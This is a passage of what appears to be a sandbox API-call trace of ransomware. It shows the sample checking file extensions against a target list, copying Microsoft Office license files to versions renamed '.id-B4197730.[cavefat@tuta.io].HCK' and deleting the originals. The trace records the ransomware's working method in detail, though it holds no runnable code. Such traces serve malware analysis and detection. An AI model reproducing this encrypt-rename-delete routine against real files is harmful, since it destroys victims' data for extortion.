[0243.219] lstrlenW (lpString=".jpg") returned 4 [0243.219] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0243.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76 [0243.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76 [0243.220] lstrlenW (lpString=".doc") returned 4 [0243.220] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0243.220] lstrlenW (lpString=".docx") returned 5 [0243.220] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0243.220] lstrlenW (lpString=".pdf") returned 4 [0243.220] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0243.220] lstrlenW (lpString=".xls") returned 4 [0243.220] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0243.220] lstrlenW (lpString=".xlsx") returned 5 [0243.220] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0243.220] lstrlenW (lpString=".ppt") returned 4 [0243.220] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0243.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76 [0243.220] lstrlenW (lpString=".zip") returned 4 [0243.220] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0243.220] lstrlenW (lpString=".rar") returned 4 [0243.220] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0243.220] lstrlenW (lpString=".bz2") returned 4 [0243.220] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0243.220] lstrlenW (lpString=".7z") returned 3 [0243.220] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0243.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76 [0243.220] lstrlenW (lpString=".dbf") returned 4 [0243.220] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0243.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76 [0243.220] lstrlenW (lpString=".1cd") returned 4 [0243.220] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0243.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76 [0243.220] lstrlenW (lpString=".jpg") returned 4 [0243.220] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0243.220] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0243.220] lstrlenW (lpString="MondoVL_MAK-ul-phn.xrm-ms") returned 25 [0243.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0243.221] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=19921) returned 1 [0243.221] CloseHandle (hObject=0x548) returned 1 [0243.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-phn.xrm-ms")) returned 0x220 [0243.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-phn.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0243.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0243.222] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.222] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-phn.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0243.223] GetLastError () returned 0x0 [0243.223] ReadFile (in: hFile=0x548, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x4dd1, lpOverlapped=0x0) returned 1 [0243.224] WriteFile (in: hFile=0x378, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x4de0, lpOverlapped=0x0) returned 1 [0243.225] ReadFile (in: hFile=0x548, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0243.225] WriteFile (in: hFile=0x378, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x106, lpOverlapped=0x0) returned 1 [0243.225] SetEndOfFile (hFile=0x378) returned 1 [0243.226] CloseHandle (hObject=0x378) returned 1 [0243.226] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.226] SetEndOfFile (hFile=0x548) returned 1 [0243.228] CloseHandle (hObject=0x548) returned 1 [0243.228] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0243.229] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-phn.xrm-ms")) returned 1 [0243.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75 [0243.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75 [0243.229] lstrlenW (lpString=".doc") returned 4 [0243.229] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0243.229] lstrlenW (lpString=".docx") returned 5 [0243.229] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0243.229] lstrlenW (lpString=".pdf") returned 4 [0243.229] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0243.230] lstrlenW (lpString=".xls") returned 4 [0243.230] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0243.230] lstrlenW (lpString=".xlsx") returned 5 [0243.230] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0243.230] lstrlenW (lpString=".ppt") returned 4 [0243.230] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0243.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75 [0243.230] lstrlenW (lpString=".zip") returned 4 [0243.230] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0243.230] lstrlenW (lpString=".rar") returned 4 [0243.230] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0243.230] lstrlenW (lpString=".bz2") returned 4 [0243.230] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0243.230] lstrlenW (lpString=".7z") returned 3 [0243.230] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0243.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75 [0243.230] lstrlenW (lpString=".dbf") returned 4 [0243.230] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0243.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75 [0243.230] lstrlenW (lpString=".1cd") returned 4 [0243.230] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0243.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75 [0243.230] lstrlenW (lpString=".jpg") returned 4 [0243.230] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0243.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75 [0243.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75 [0243.230] lstrlenW (lpString=".doc") returned 4 [0243.230] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0243.230] lstrlenW (lpString=".docx") returned 5 [0243.230] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0243.230] lstrlenW (lpString=".pdf") returned 4 [0243.230] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0243.230] lstrlenW (lpString=".xls") returned 4 [0243.230] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0243.230] lstrlenW (lpString=".xlsx") returned 5 [0243.230] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0243.230] lstrlenW (lpString=".ppt") returned 4 [0243.230] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0243.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75 [0243.230] lstrlenW (lpString=".zip") returned 4 [0243.230] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0243.230] lstrlenW (lpString=".rar") returned 4 [0243.230] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0243.230] lstrlenW (lpString=".bz2") returned 4 [0243.230] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0243.230] lstrlenW (lpString=".7z") returned 3 [0243.230] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0243.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75 [0243.230] lstrlenW (lpString=".dbf") returned 4 [0243.230] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0243.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75 [0243.230] lstrlenW (lpString=".1cd") returned 4 [0243.230] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0243.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75 [0243.230] lstrlenW (lpString=".jpg") returned 4 [0243.231] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0243.231] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0243.231] lstrlenW (lpString="O365BusinessR_Grace-ppd.xrm-ms") returned 30 [0243.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0243.232] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=22400) returned 1 [0243.232] CloseHandle (hObject=0x548) returned 1 [0243.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ppd.xrm-ms")) returned 0x220 [0243.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0243.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0243.232] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.232] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0243.233] GetLastError () returned 0x0 [0243.233] ReadFile (in: hFile=0x548, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x5780, lpOverlapped=0x0) returned 1 [0243.235] WriteFile (in: hFile=0x378, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x5790, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x5790, lpOverlapped=0x0) returned 1 [0243.236] ReadFile (in: hFile=0x548, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0243.236] WriteFile (in: hFile=0x378, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x110, lpOverlapped=0x0) returned 1 [0243.236] SetEndOfFile (hFile=0x378) returned 1 [0243.236] CloseHandle (hObject=0x378) returned 1 [0243.236] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.236] SetEndOfFile (hFile=0x548) returned 1 [0243.238] CloseHandle (hObject=0x548) returned 1 [0243.239] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0243.239] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ppd.xrm-ms")) returned 1 [0243.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80 [0243.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80 [0243.240] lstrlenW (lpString=".doc") returned 4 [0243.240] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0243.240] lstrlenW (lpString=".docx") returned 5 [0243.240] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0243.240] lstrlenW (lpString=".pdf") returned 4 [0243.240] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0243.240] lstrlenW (lpString=".xls") returned 4 [0243.240] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0243.240] lstrlenW (lpString=".xlsx") returned 5 [0243.240] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0243.240] lstrlenW (lpString=".ppt") returned 4 [0243.240] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0243.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80 [0243.240] lstrlenW (lpString=".zip") returned 4 [0243.240] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0243.240] lstrlenW (lpString=".rar") returned 4 [0243.240] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0243.240] lstrlenW (lpString=".bz2") returned 4 [0243.240] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0243.240] lstrlenW (lpString=".7z") returned 3 [0243.240] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0243.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80 [0243.240] lstrlenW (lpString=".dbf") returned 4 [0243.240] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0243.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80 [0243.240] lstrlenW (lpString=".1cd") returned 4 [0243.240] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0243.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80 [0243.240] lstrlenW (lpString=".jpg") returned 4 [0243.240] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0243.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80 [0243.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80 [0243.240] lstrlenW (lpString=".doc") returned 4 [0243.240] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0243.241] lstrlenW (lpString=".docx") returned 5 [0243.241] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0243.241] lstrlenW (lpString=".pdf") returned 4 [0243.241] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0243.241] lstrlenW (lpString=".xls") returned 4 [0243.241] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0243.241] lstrlenW (lpString=".xlsx") returned 5 [0243.241] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0243.241] lstrlenW (lpString=".ppt") returned 4 [0243.241] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0243.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80 [0243.241] lstrlenW (lpString=".zip") returned 4 [0243.241] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0243.241] lstrlenW (lpString=".rar") returned 4 [0243.241] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0243.241] lstrlenW (lpString=".bz2") returned 4 [0243.241] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0243.241] lstrlenW (lpString=".7z") returned 3 [0243.241] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0243.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80 [0243.241] lstrlenW (lpString=".dbf") returned 4 [0243.241] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0243.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80 [0243.241] lstrlenW (lpString=".1cd") returned 4 [0243.241] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0243.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80 [0243.241] lstrlenW (lpString=".jpg") returned 4 [0243.241] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0243.241] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0243.241] lstrlenW (lpString="O365BusinessR_Grace-ul-oob.xrm-ms") returned 33 [0243.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0243.242] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=11624) returned 1 [0243.242] CloseHandle (hObject=0x548) returned 1 [0243.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ul-oob.xrm-ms")) returned 0x220 [0243.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0243.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0243.243] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.243] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0243.243] GetLastError () returned 0x0 [0243.243] ReadFile (in: hFile=0x548, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x2d68, lpOverlapped=0x0) returned 1 [0243.458] WriteFile (in: hFile=0x378, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0243.459] ReadFile (in: hFile=0x548, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0243.459] WriteFile (in: hFile=0x378, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x116, lpOverlapped=0x0) returned 1 [0243.459] SetEndOfFile (hFile=0x378) returned 1 [0243.459] CloseHandle (hObject=0x378) returned 1 [0243.460] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.460] SetEndOfFile (hFile=0x548) returned 1 [0243.462] CloseHandle (hObject=0x548) returned 1 [0243.462] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0243.462] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ul-oob.xrm-ms")) returned 1 [0243.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83 [0243.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83 [0243.463] lstrlenW (lpString=".doc") returned 4 [0243.463] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0243.463] lstrlenW (lpString=".docx") returned 5 [0243.463] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0243.463] lstrlenW (lpString=".pdf") returned 4 [0243.464] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0243.464] lstrlenW (lpString=".xls") returned 4 [0243.464] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0243.464] lstrlenW (lpString=".xlsx") returned 5 [0243.464] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0243.464] lstrlenW (lpString=".ppt") returned 4 [0243.464] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0243.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83 [0243.464] lstrlenW (lpString=".zip") returned 4 [0243.464] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0243.464] lstrlenW (lpString=".rar") returned 4 [0243.464] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0243.464] lstrlenW (lpString=".bz2") returned 4 [0243.464] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0243.464] lstrlenW (lpString=".7z") returned 3 [0243.464] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0243.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83 [0243.464] lstrlenW (lpString=".dbf") returned 4 [0243.464] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0243.464] 